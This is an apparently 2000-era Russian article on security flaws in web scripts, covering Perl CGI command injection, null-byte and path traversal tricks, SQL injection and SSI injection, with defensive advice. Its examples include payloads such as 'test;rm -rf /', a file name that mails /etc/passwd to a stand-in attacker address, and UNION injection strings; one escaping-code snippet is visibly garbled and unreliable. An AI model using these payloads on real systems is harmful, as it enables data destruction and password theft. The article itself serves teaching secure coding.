Уязвимости Web-скриптов
=======================
i. Вступление
Интернет пришел в Россию. Это неоспоримый факт. Еще год - полтора назад
на редком рекламном щите можно было заметить адрес электронной почты, не то
что web страницы, а сейчас все объявления пестрят ими. Вместе с ним пришел
спрос на веб-мастеров, веб-программистов. Десятки, сотни людей работают
сейчас на этом поприще в Москве. Некоторые из них получили специальное
образование, остальные изучали необходимые материалы самостоятельно. Так
или иначе, многие из них, к сожалению, просто не задумываются о проблемах
безопасности. Эта статья - попытка осветить наиболее частые из них.
ii. Perl
Пару лет назад этот язык был самым популярным средством для написания
cgi-скриптов. Сейчас ему на смену пришли asp, php, jsp, но он еще не
утратил всей своей былой популярности. Главным доводом в пользу перехода с
perl-а на эти новые технологии была недостаточная скорость обработки cgi
запросов (так называемая проблема "бутылочного горлышка"). Поэтому, сейчас
perl-скрипты применяются в основном на небольших сайтах, и, как следствие,
пишутся для единичного использования, что отнюдь не повышает их
безопасности. Следует отметить, справедливости ради, что и во многих
популярных (как свободно распространяемых, так и входящих в состав
коммерческих продуктов) скриптах находят все новые и новые ошибки и
уязвимости.
Основной и наиболее частой уязвимостью cgi-скриптов является
недостаточная проверка входных данных. Рассмотрим простейший пример:
<...skip...>
open(MAIL,"|sendmail webmaster@some.address.ru -s $subject")
<...skip...>
Предположим, что переменная $subject была получена из cgi-запроса
пользователя и не прошла должной проверки. Тогда, если ее значение было,
скажем "test;rm -rf /", perl-интерпретатор вызовет shell и передаст ему на
выполнение следующую строку:
sendmail webmaster@some.address.ru -s test;rm -rf /
В первую очередь при написании cgi-скрипта на perl следует понимать, в
каком случае perl-интерпретатор осуществляет вызовы shell или системных
функций:
- функции exec() и system(). Их различие состоит в том, что после
вызова exec() выполнение скрипта останавливается, тогда как
вызов system() возвращает после своего выполнения управление
вызвавшему скрипту. Параметрами обоих функций является список.
Первый элемент этого списка - программа, которую следует
выполнить, а все последующие - ее параметры вызова. При этом,
согласно документации на интерпретатор perl, в случае вызова с
единственным параметром perl проверяет наличие в этом параметре
метасимволов shell-интерпретатора, и в случае их наличия
вызывает этот самый интерпретатор. В противном случае, а также
в случае, когда в списке находятся несколько элементов, perl
использует системный вызов execvp(), так как он работает
быстрее чем shell. Считается, что в этом случае можно не
проверять передаваемые параметры на наличие метасимволов, так
как этот вызов не умеет их обрабатывать. Рассмотрим несколько
примеров:
system("ls -l /usr/home"); # Вызов execvp()
system("ls -l /usr/home/*"); # Вызов shell
system("ls -l", "/usr/home"); # Вызов execvp()
system("ls -l", "/usr/home/*"); # Вызов execvp(), сработает
# некорректно, так как не
# будет обработан
# символ '*'.
Считается, что вызов
system("ls","$file "); # Вызов execvp()
безопаснее, чем вызов
system("ls $file"); # Вызов execvp()
так как при подаче аргумента $file, равного, скажем,
"aaa;rm -rf /", второй выполнит команду "rm -rf /", а первый -
- нет. Однако следует помнить, что, скажем интерпретатор
ActivePerl под Windows всегда выполняет вызов shell, поэтому
лучше все таки проверять все входные параметры.
- функция open(). Предназначеная вообще-то для открывания файлов,
она может также быть использована для запуска программ. Так,
вызов
open(FILEHANDLE "|telnet");
запустит программу telnet и создаст handle FILEHANDLE,
соответствующий ее стандартному вводу. Аналогично,
open(FILEHANDLE "telnet|");
запустит программу telnet и создаст handle FILEHANDLE,
соответствующий ее стандартному выводу. Таким образом,
возникает возможность того, что присутствующий в скрипте вызов
функции open() будет использован не по назначению. Например,
скрипт
<...skip...>
open(TEMPFILE,"/tmp/$username")
<...skip...>
получивший от пользователя параметр $username, равный
"mail evilhacker@some.com < /etc/passwd|", отошлет в результате
файл с паролями по электронной почте. Поэтому следует всюду,
где это только возможно, явным образом специфицировать способ
открытия файла:
open(FILEHANDLE ">filename"); # на запись
open(FILEHANDLE ">>filename"); # на дозапись
open(FILEHANDLE "^\[\]\(\)\{\}\$\n\r])/\\$1/g;
В этом случае, получив на вход что-нибудь вроде
some_data 'rm -rf /'
мы после обработки имеем
some_data \'rm -rf /\'
и можем спокойно использовать эту строку в shell вызовах.
Однако, получив
some_data \'rm -rf /\'
мы после обработки имеем
some_data \\'rm -rf /\\'
что уже совсем не так приятно.
- символ с кодом 0. Интерпретатор perl хранит для каждой строки
ее длину и не использует в отличие от большинства системных
вызовов нулевой байт как маркер конца строки. Все бы ничего,
но когда строка содержащая такой байт передается в системный
вызов в качестве параметра, вся часть после нулевого байта
отбрасывается. Так например, подав скрипту вроде
<...skip...>
open(TEXT2ECHO,"<$any_txt_file".".txt")
# откываем текст для дальнейшего вывода пользователем
<...skip...>
значение параметра $any_txt_file, равное "/etc/passwd\0" мы
заставим систем вызов fopen отбросить расширение .txt и отрыть
нужный нам файл.
Другой частой ошибкой является отсутсвие проверки на наличие
последовательности символов "../" в параметрах, используемых в качестве
имен открываемых файлов.
Кроме того, следует помнить и учитывать все символы, являющиеся
служебными для вызываемых скриптом программ, так как многие программы
имеют, например, функцию вызова shell.
iii. SQL
На сегодняшний день наиболее распространными базами данных,
используемыми в web-программировании, можно назвать MySQL, PostgreSQL и
MS-SQL. Проблемы, связаные с их безопасным использованием одинаковы для
perl, php или, скажем, asp. Основная причина уязвимостей та же -
- недостаточная проверка входных данных. Если скрипт выполняет, скажем,
такой запрос к БД
SELECT * FROM UserTB WHERE User=$user
то, подставив $user, равный "some UNION SELECT * FROM UserTB", получим
SELECT * FROM UserTB WHERE User=some UNION SELECT * FROM UserTB
(конечно MySQL не поддерживает запроса UNION, но это - только пример).
Некоторые борятся с этим расстановкой скобок или кавычек:
SELECT * FROM UserTB WHERE (User=$user)
или
SELECT * FROM UserTB WHERE User="$user"
однако это само по себе слабо спасает положение:
$user='some) UNION SELECT * FROM UserTB WHERE (USER<>some"
или
$user='some" UNION SELECT * FROM UserTB'
Приемлемым решением в этом случае является расстановка кавычек и
проверка входных данных на их отсутсвие. Другая обязательная превентивная
мера - использование специального пользователя с ограниченными правами для
работы с базой данных (и ни в кое случае не следует использовать
пользователя sa).
Вообще такого рода уязвимости грозят не только разглашением или
изменением содержимого базы данных. В PostgreSQL и MS-SQL есть понятие
хранимых процедур и триггеров, их вызывающих. Например, среди встроенных
хранимых процедур в MS-SQL, есть такие, которые позволяют принимать и
получать электронную почту, выполнять команды операционной системы.
Кроме того, по возможности не следует хранить в тексте скриптов
какую-либо важную информацию, так как многие недостаточно хорошо написанные
или сконфигурированные web-сервера позволяют злоумышленнику получить код
скрипта. Так, например, в случае asp стоит помещать код, выполняющий
подсоединение к базе данных, в специальный файл global.asa.
iv. SSI
Server Side Includes сами по себе никакой опасности не представляют
ввиду своей крайней простоты. Тем не менее, существуют случаи, когда с их
использованием злоумышленник может получить несанкционированый доступ к
информации, хранимой на сервере. Все скрипты, осуществляющие занесение
данных в chat-ы, конференции и всякие guestbook-и, должны проверять
заносимую информацию на предмет наличия в ней SSI-инструкций. Ситуация
отягощается тем, что некоторые web-серверы не совсем следуют спецификации и
могут исполнять SSI-инструкции, которые по спецификации таковыми не
являются.
v. Заключение
В общем и целом, никогда и ни в коем случае нельзя доверять информации,
полученной от пользователя. Это относится и к информации, хранимой в hidden
полях форм, отсылаемых любыми методами и с любыми проверками HTTP-Referer,
и к любым данным прошедшим любые проверки на стороне клиента с помощью,
скажем, JavaScript. Вся эта информация может быть подменена злоумышленником
с целью получения несанкционированного доступа к информации на сервере, или
с целью нарушения нормального функционирования сервера.
vi. Источники
[p.h.m] Jordan Dimov "Security Issues in Perl Scripts", P.H.M.,
Issue 23, Article 02.
[r.f.p] Rain Forest Puppy, "Perl CGI problems", Phrack Magazine,
Vol. 9, Issue 55, File 07.
[wwwsec] "The World Wide Web Security FAQ".
Chapter 7 - Safe Scripting in Perl
http://www.w3c.org/Security/Faq/wwwsf5.html
[perlsec] The Perl Security man page.
[cgiperl2] Scott Guelich,et al."CGI Programming with Perl, 2nd Edition"
O'Reilly. July 2000.
02:08 30.07.00
altsoph